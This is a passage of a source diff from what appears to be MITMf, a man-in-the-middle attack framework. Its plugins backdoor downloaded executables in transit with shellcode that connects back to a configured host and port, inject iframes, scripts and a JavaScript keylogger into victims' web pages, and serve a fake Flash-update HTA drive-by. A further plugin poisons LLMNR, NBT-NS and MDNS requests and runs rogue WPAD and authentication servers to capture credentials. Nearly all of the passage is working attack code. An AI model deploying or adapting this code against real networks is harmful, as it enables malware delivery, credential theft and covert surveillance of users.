OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx64['SHELL'], + HOST=self.WindowsIntelx64['HOST'], + PORT=int(self.WindowsIntelx64['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']), + PATCH_DLL=self.str2bool(self.WindowsIntelx64['PATCH_DLL']), + SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.str2bool(self.WindowsIntelx64['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower(), + SUPPLIED_BINARY=self.WindowsIntelx64['SUPPLIED_BINARY'], + ) + + result = targetFile.run_this() + + elif (machineType == 0x14c and + self.WindowsType.lower() in ['all', 'x86']): + add_section = False + cave_jumping = False + # add_section wins for cave_jumping + # default is single for BDF + if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + add_section = False + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx86['SHELL'], + HOST=self.WindowsIntelx86['HOST'], + PORT=int(self.WindowsIntelx86['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']), + PATCH_DLL=self.str2bool(self.WindowsIntelx86['PATCH_DLL']), + SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.str2bool(self.WindowsIntelx86['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower(), + SUPPLIED_BINARY=self.WindowsIntelx86['SUPPLIED_BINARY'], + XP_MODE=self.str2bool(self.WindowsIntelx86['XP_MODE']) + ) + + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF + + targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + if targetFile.class_type == 0x1: + # x86CPU Type + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx86['SHELL'], + HOST=self.LinuxIntelx86['HOST'], + PORT=int(self.LinuxIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + elif targetFile.class_type == 0x2: + # x64 + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx64['SHELL'], + HOST=self.LinuxIntelx64['HOST'], + PORT=int(self.LinuxIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho + targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + # ONE CHIP SET MUST HAVE PRIORITY in FAT FILE + + if targetFile.FAT_FILE is True: + if self.FatPriority == 'x86': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif self.FatPriority == 'x64': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + return result + + except Exception as e: + self.log.error("Exception in binaryGrinder {0}".format(e)) + return None + + def set_config(self): + try: + self.user_config = self.config['FilePwn'] + self.host_blacklist = self.user_config['hosts']['blacklist'] + self.host_whitelist = self.user_config['hosts']['whitelist'] + self.keys_blacklist = self.user_config['keywords']['blacklist'] + self.keys_whitelist = self.user_config['keywords']['whitelist'] + except Exception as e: + self.log.error("Missing field from config file: {0}".format(e)) + + def set_config_archive(self, ar): + try: + self.archive_type = ar['type'] + self.archive_blacklist = self.user_config[self.archive_type]['blacklist'] + self.archive_max_size = int(self.user_config[self.archive_type]['maxSize']) + self.archive_patch_count = int(self.user_config[self.archive_type]['patchCount']) + self.archive_params = ar + except Exception as e: + raise Exception("Missing {0} section from config file".format(e)) + + def hosts_whitelist_check(self, req_host): + if self.host_whitelist.lower() == 'all': + self.patchIT = True + + elif type(self.host_whitelist) is str: + if self.host_whitelist.lower() in req_host.lower(): + self.patchIT = True + self.log.info("Host whitelist hit: {0}, HOST: {1}".format(self.host_whitelist, req_host)) + elif req_host.lower() in self.host_whitelist.lower(): + self.patchIT = True + self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host)) + else: + for keyword in self.host_whitelist: + if keyword.lower() in req_host.lower(): + self.patchIT = True + self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host)) + break + + def keys_whitelist_check(self, req_url, req_host): + # Host whitelist check takes precedence + if self.patchIT is False: + return None + + if self.keys_whitelist.lower() == 'all': + self.patchIT = True + elif type(self.keys_whitelist) is str: + if self.keys_whitelist.lower() in req_url.lower(): + self.patchIT = True + self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) + elif req_host.lower() in [x.lower() for x in self.keys_whitelist]: + self.patchIT = True + self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) + else: + for keyword in self.keys_whitelist: + if keyword.lower() in req_url.lower(): + self.patchIT = True + self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) + break + + def keys_backlist_check(self, req_url, req_host): + if type(self.keys_blacklist) is str: + if self.keys_blacklist.lower() in req_url.lower(): + self.patchIT = False + self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url)) + else: + for keyword in self.keys_blacklist: + if keyword.lower() in req_url.lower(): + self.patchIT = False + self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url)) + break + + def hosts_blacklist_check(self, req_host): + if type(self.host_blacklist) is str: + if self.host_blacklist.lower() in req_host.lower(): + self.patchIT = False + self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) + elif req_host.lower() in [x.lower() for x in self.host_blacklist]: + self.patchIT = False + self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) + else: + for host in self.host_blacklist: + if host.lower() in req_host.lower(): + self.patchIT = False + self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) + break + + def parse_target_config(self, targetConfig): + for key, value in targetConfig.items(): + if hasattr(self, key) is False: + setattr(self, key, value) + self.log.debug("Settings Config {0}: {1}".format(key, value)) + + elif getattr(self, key, value) != value: + if value == "None": + continue + + # test if string can be easily converted to dict + if ':' in str(value): + for tmpkey, tmpvalue in dict(value).items(): + getattr(self, key, value)[tmpkey] = tmpvalue + self.log.debug("Updating Config {0}: {1}".format(tmpkey, tmpvalue)) + else: + setattr(self, key, value) + self.log.debug("Updating Config {0}: {1}".format(key, value)) + + def response(self, response, request, data): + + content_header = response.responseHeaders.getRawHeaders('Content-Type')[0] + client_ip = request.client.getClientIP() + host = request.headers['host'] + + if not response.responseHeaders.hasHeader('content-length'): + content_length = None + else: + content_length = int(response.responseHeaders.getRawHeaders('content-length')[0]) + + for target in self.user_config['targets'].keys(): + if target == 'ALL': + self.parse_target_config(self.user_config['targets']['ALL']) + + if target in request.headers['host']: + self.parse_target_config(self.user_config['targets'][target]) + + self.hosts_whitelist_check(host) + self.keys_whitelist_check(request.uri, host) + self.keys_backlist_check(request.uri, host) + self.hosts_blacklist_check(host) + + if content_length and (content_length >= long(self.FileSizeMax)): + self.clientlog.info("Not patching over content-length, forwarding to user", extra=request.clientInfo) + self.patchIT = False + + if self.patchIT is False: + self.clientlog.info("Config did not allow patching", extra=request.clientInfo) + + else: + + mime_type = magic.from_buffer(data, mime=True) + + if mime_type in self.binaryMimeType['mimes']: + tmp = tempfile.NamedTemporaryFile() + tmp.write(data) + tmp.flush() + tmp.seek(0) + + patchResult = self.binaryGrinder(tmp.name) + if patchResult: + self.clientlog.info("Patching complete, forwarding to user", extra=request.clientInfo) + + bd_file = os.path.join('backdoored', os.path.basename(tmp.name)) + with open(bd_file, 'r+b') as file2: + data = file2.read() + file2.close() + + os.remove(bd_file) + else: + self.clientlog.error("Patching failed", extra=request.clientInfo) + + # add_try to delete here + tmp.close() + else: + for archive in self.archiveTypes: + if mime_type in archive['mimes'] and self.str2bool(self.CompressedFiles) is True: + try: + self.set_config_archive(archive['params']) + data = self.inject(data) + except Exception as exc: + self.clientlog.error(exc, extra=request.clientInfo) + self.clientlog.warning("Returning original file", extra=request.clientInfo) + + return {'response': response, 'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py new file mode 100644 index 0000000..e32a56c --- /dev/null +++ b/plugins/htadriveby.py @@ -0,0 +1,49 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re + +from plugins.plugin import Plugin +from plugins.inject import Inject + +class HTADriveBy(Inject, Plugin): + name = 'HTA Drive-By' + desc = 'Performs HTA drive-by attacks on clients' + optname = 'hta' + ver = '0.1' + + def initialize(self, options): + self.bar_text = options.text + self.ip = options.ip + self.hta = options.hta_app.split('/')[-1] + Inject.initialize(self, options) + self.html_payload = self.get_payload() + + from core.servers.HTTP import HTTP + HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app) + + def get_payload(self): + with open("./core/html/htadriveby.html", 'r') as file: + payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) + payload = re.sub("_IP_GOES_HERE_", self.ip, payload) + payload = re.sub("_PAYLOAD_GOES_HERE_", self.hta, payload) + return payload + + def options(self, options): + options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") + options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]') diff --git a/plugins/imagerandomizer.py b/plugins/imagerandomizer.py new file mode 100644 index 0000000..268123a --- /dev/null +++ b/plugins/imagerandomizer.py @@ -0,0 +1,57 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import random +import os +from plugins.plugin import Plugin + +class ImageRandomizer(Plugin): + name = "ImageRandomizer" + optname = "imgrand" + desc = 'Replaces images with a random one from a specified directory' + version = "0.1" + + def initialize(self, options): + self.options = options + self.img_dir = options.img_dir + + def responseheaders(self, response, request): + '''Kill the image skipping that's in place for speed reasons''' + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() + + def response(self, response, request, data): + try: + isImage = getattr(request, 'isImage') + except AttributeError: + isImage = False + + if isImage: + try: + img = random.choice(os.listdir(self.options.img_dir)) + with open(os.path.join(self.options.img_dir, img), 'rb') as img_file: + data = img_file.read() + self.clientlog.info("Replaced image with {}".format(img), extra=request.clientInfo) + return {'response': response, 'request': request, 'data': data} + except Exception as e: + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) + + def options(self, options): + options.add_argument("--img-dir", type=str, metavar="DIRECTORY", help="Directory with images") \ No newline at end of file diff --git a/plugins/inject.py b/plugins/inject.py new file mode 100644 index 0000000..b71218c --- /dev/null +++ b/plugins/inject.py @@ -0,0 +1,198 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import time +import sys +import re +import chardet + +from bs4 import BeautifulSoup +from plugins.plugin import Plugin + +class Inject(Plugin): + name = "Inject" + optname = "inject" + desc = "Inject arbitrary content into HTML content" + version = "0.4" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.ip = options.ip + + self.html_url = options.html_url + self.html_payload = options.html_payload + self.html_file = options.html_file + self.js_url = options.js_url + self.js_payload = options.js_payload + self.js_file = options.js_file + + self.rate_limit = options.rate_limit + self.count_limit = options.count_limit + self.per_domain = options.per_domain + self.black_ips = options.black_ips.split(',') + self.white_ips = options.white_ips.split(',') + self.white_domains = options.white_domains.split(',') + self.black_domains = options.black_domains.split(',') + + self.ctable = {} + self.dtable = {} + self.count = 0 + + + def response(self, response, request, data): + + encoding = None + ip = response.getClientIP() + hn = response.getRequestHostname() + + if not response.responseHeaders.hasHeader('Content-Type'): + return {'response': response, 'request':request, 'data': data} + + mime = response.responseHeaders.getRawHeaders('Content-Type')[0] + + if "text/html" not in mime: + return {'response': response, 'request':request, 'data': data} + + if "charset" in mime: + match = re.search('charset=(.*)', mime) + if match: + encoding = match.group(1).strip().replace('"', "") + else: + try: + encoding = chardet.detect(data)["encoding"] + except: + pass + else: + try: + encoding = chardet.detect(data)["encoding"] + except: + pass + + if self._should_inject(ip, hn) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip) and ("text/html" in mime): + + if encoding is not None: + html = BeautifulSoup(data.decode(encoding, "ignore"), "lxml") + else: + html = BeautifulSoup(data, "lxml") + + if html.body: + + if self.html_url: + iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0) + html.body.append(iframe) + self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo) + + if self.html_payload: + payload = BeautifulSoup(self.html_payload, "html.parser") + html.body.append(payload) + self.clientlog.info("Injected HTML payload: {}".format(hn), extra=request.clientInfo) + + if self.html_file: + with open(self.html_file, 'r') as file: + payload = BeautifulSoup(file.read(), "html.parser") + html.body.append(payload) + self.clientlog.info("Injected HTML file: {}".format(hn), extra=request.clientInfo) + + if self.js_url: + script = html.new_tag('script', type='text/javascript', src=self.js_url) + html.body.append(script) + self.clientlog.info("Injected JS script: {}".format(hn), extra=request.clientInfo) + + if self.js_payload: + tag = html.new_tag('script', type='text/javascript') + tag.append(self.js_payload) + html.body.append(tag) + self.clientlog.info("Injected JS payload: {}".format(hn), extra=request.clientInfo) + + if self.js_file: + tag = html.new_tag('script', type='text/javascript') + with open(self.js_file, 'r') as file: + tag.append(file.read()) + html.body.append(tag) + self.clientlog.info("Injected JS file: {}".format(hn), extra=request.clientInfo) + + data = str(html) + + return {'response': response, 'request':request, 'data': data} + + def _ip_filter(self, ip): + + if self.white_ips[0] != '': + if ip in self.white_ips: + return True + else: + return False + + if self.black_ips[0] != '': + if ip in self.black_ips: + return False + else: + return True + + return True + + def _host_filter(self, host): + + if self.white_domains[0] != '': + if host in self.white_domains: + return True + else: + return False + + if self.black_domains[0] != '': + if host in self.black_domains: + return False + else: + return True + + return True + + def _should_inject(self, ip, hn): + + if self.count_limit == self.rate_limit is None and not self.per_domain: + return True + + if self.count_limit is not None and self.count > self.count_limit: + return False + + if self.rate_limit is not None: + if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit: + return False + + if self.per_domain: + return not ip+hn in self.dtable + + return True + + def options(self, options): + options.add_argument("--js-url", type=str, help="URL of the JS to inject") + options.add_argument('--js-payload', type=str, help='JS string to inject') + options.add_argument('--js-file', type=str, help='File containing JS to inject') + options.add_argument("--html-url", type=str, help="URL of the HTML to inject") + options.add_argument("--html-payload", type=str, help="HTML string to inject") + options.add_argument('--html-file', type=str, help='File containing HTML to inject') + + group = options.add_mutually_exclusive_group(required=False) + group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") + group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") + group.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.") + group.add_argument("--white-ips", metavar='IP', default='', type=str, help="Inject content ONLY for these ips (comma seperated)") + group.add_argument("--black-ips", metavar='IP', default='', type=str, help="DO NOT inject content for these ips (comma seperated)") + group.add_argument("--white-domains", metavar='DOMAINS', default='', type=str, help="Inject content ONLY for these domains (comma seperated)") + group.add_argument("--black-domains", metavar='DOMAINS', default='', type=str, help="DO NOT inject content for these domains (comma seperated)") diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py new file mode 100644 index 0000000..fdb726a --- /dev/null +++ b/plugins/jskeylogger.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.inject import Inject +from plugins.plugin import Plugin + +class JSKeylogger(Inject, Plugin): + name = "JSKeylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" + version = "0.2" + + def initialize(self, options): + Inject.initialize(self, options) + self.js_file = "./core/javascript/msfkeylogger.js" + + def request(self, request): + if 'keylog' in request.uri: + request.handle_post_output = True + + raw_keys = request.postData.split("&&")[0] + input_field = request.postData.split("&&")[1] + + keys = raw_keys.split(",") + if keys: + del keys[0]; del(keys[len(keys)-1]) + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += unichr(int(n)) + except: + self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo) + + self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo) + + def options(self, options): + pass diff --git a/plugins/plugin.py b/plugins/plugin.py index 4b8cd37..c90d01f 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -1,43 +1,100 @@ -''' -The base plugin class. This shows the various methods that -can get called during the MITM attack. -''' +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import logging +import argparse -class Plugin(object): - name = "Generic plugin" - optname = "generic" - desc = "" - implements = [] - has_opts = False +from core.configwatcher import ConfigWatcher +from core.logger import logger - def __init__(self): - '''Called on plugin instantiation. Probably don't need this''' - pass +class Plugin(ConfigWatcher): + name = "Generic plugin" + optname = "generic" + tree_info = [] + desc = "" + version = "0.0" + + def __init__(self, parser): + '''Passed the options namespace''' + + if self.desc: + sgroup = parser.add_argument_group(self.name, self.desc) + else: + sgroup = parser.add_argument_group(self.name,"Options for the '{}' plugin".format(self.name)) + + sgroup.add_argument("--{}".format(self.optname), action="store_true",help="Load plugin '{}'".format(self.name)) + + self.options(sgroup) def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - def add_options(options): + def request(self, request): + ''' + Handles all outgoing requests, hooks connectionMade() + request object has the following attributes: + + request.headers => headers in dict format + request.commad => HTTP method + request.post => POST data + request.uri => full URL + request.path => path + ''' + pass + + def responseheaders(self, response, request): + ''' + Handles all response headers, hooks handleEndHeaders() + ''' + pass + + def responsestatus(self, request, version, code, message): + ''' + Handles server response HTTP version, code and message + ''' + return {"request": request, "version": version, "code": code, "message": message} + + def response(self, response, request, data): + ''' + Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) + ''' + return {'response': response, 'request':request, 'data': data} + + def on_config_change(self): + """Do something when MITMf detects the config file has been modified""" + pass + + def options(self, options): '''Add your options to the options parser''' - raise NotImplementedError + pass - def handleHeader(self, request, key, value): - '''Handles all response headers''' - raise NotImplementedError + def reactor(self, strippingFactory): + '''This makes it possible to set up another instance of the reactor on a diffrent port, passed the default factory''' + pass - def connectionMade(self, request): - '''Handles outgoing request''' - raise NotImplementedError + def setup_logger(self): + formatter = logging.Formatter("%(asctime)s [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.log = logger().setup_logger(self.name, formatter) - def handleResponse(self, request, data): - ''' - Handles all non-image responses by default. See Upsidedownternet - for how to get images - ''' - raise NotImplementedError + formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.clientlog = logger().setup_logger("{}_{}".format(self.name, "clientlog"), formatter) - def finish(self): + def on_shutdown(self): '''This will be called when shutting down''' pass diff --git a/plugins/replace.py b/plugins/replace.py new file mode 100644 index 0000000..d5339b2 --- /dev/null +++ b/plugins/replace.py @@ -0,0 +1,53 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +""" + +Original plugin by @rthijssen + +""" + +import re +from plugins.plugin import Plugin + +class Replace(Plugin): + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + version = "0.2" + + def initialize(self, options): + self.options = options + + def response(self, response, request, data): + mime = response.responseHeaders.getRawHeaders('Content-Type')[0] + hn = response.getRequestHostname() + + if "text/html" in mime: + + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, data): + try: + data = re.sub(regex1, regex2, data) + + self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) + except Exception: + self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) + + return {'response': response, 'request': request, 'data': data} diff --git a/plugins/responder.py b/plugins/responder.py new file mode 100644 index 0000000..2f36be3 --- /dev/null +++ b/plugins/responder.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from twisted.internet import reactor + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + version = "0.2" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip = options.ip + + # Load (M)DNS, NBNS and LLMNR Poisoners + import core.poisoners.LLMNR as LLMNR + import core.poisoners.MDNS as MDNS + import core.poisoners.NBTNS as NBTNS + LLMNR.start() + MDNS.start() + NBTNS.start() + + # Load Browser Listener + import core.servers.Browser as Browser + Browser.start() + + if self.config["Responder"]["SQL"].lower() == "on": + from core.servers.MSSQL import MSSQL + self.tree_info.append("MSSQL server [ON]") + MSSQL().start() + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.servers.Kerberos import Kerberos + self.tree_info.append("Kerberos server [ON]") + Kerberos().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.servers.FTP import FTP + self.tree_info.append("FTP server [ON]") + FTP().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.servers.POP3 import POP3 + self.tree_info.append("POP3 server [ON]") + POP3().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.servers.SMTP import SMTP + self.tree_info.append("SMTP server [ON]") + SMTP().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.servers.IMAP import IMAP + self.tree_info.append("IMAP server [ON]") + IMAP().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.servers.LDAP import LDAP + self.tree_info.append("LDAP server [ON]") + LDAP().start() + + def reactor(self, strippingFactory): + reactor.listenTCP(3141, strippingFactory) + + def options(self, options): + options.add_argument('--analyze', dest="analyze",action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") + options.add_argument('--wredir', dest="wredir", action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server") + options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval (might cause a login prompt)") + options.add_argument('--basic', dest="basic", action="store_true", help="Return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py new file mode 100644 index 0000000..a8a3806 --- /dev/null +++ b/plugins/screenshotter.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import base64 +import urllib +import re + +from datetime import datetime +from plugins.plugin import Plugin +from plugins.inject import Inject + +class 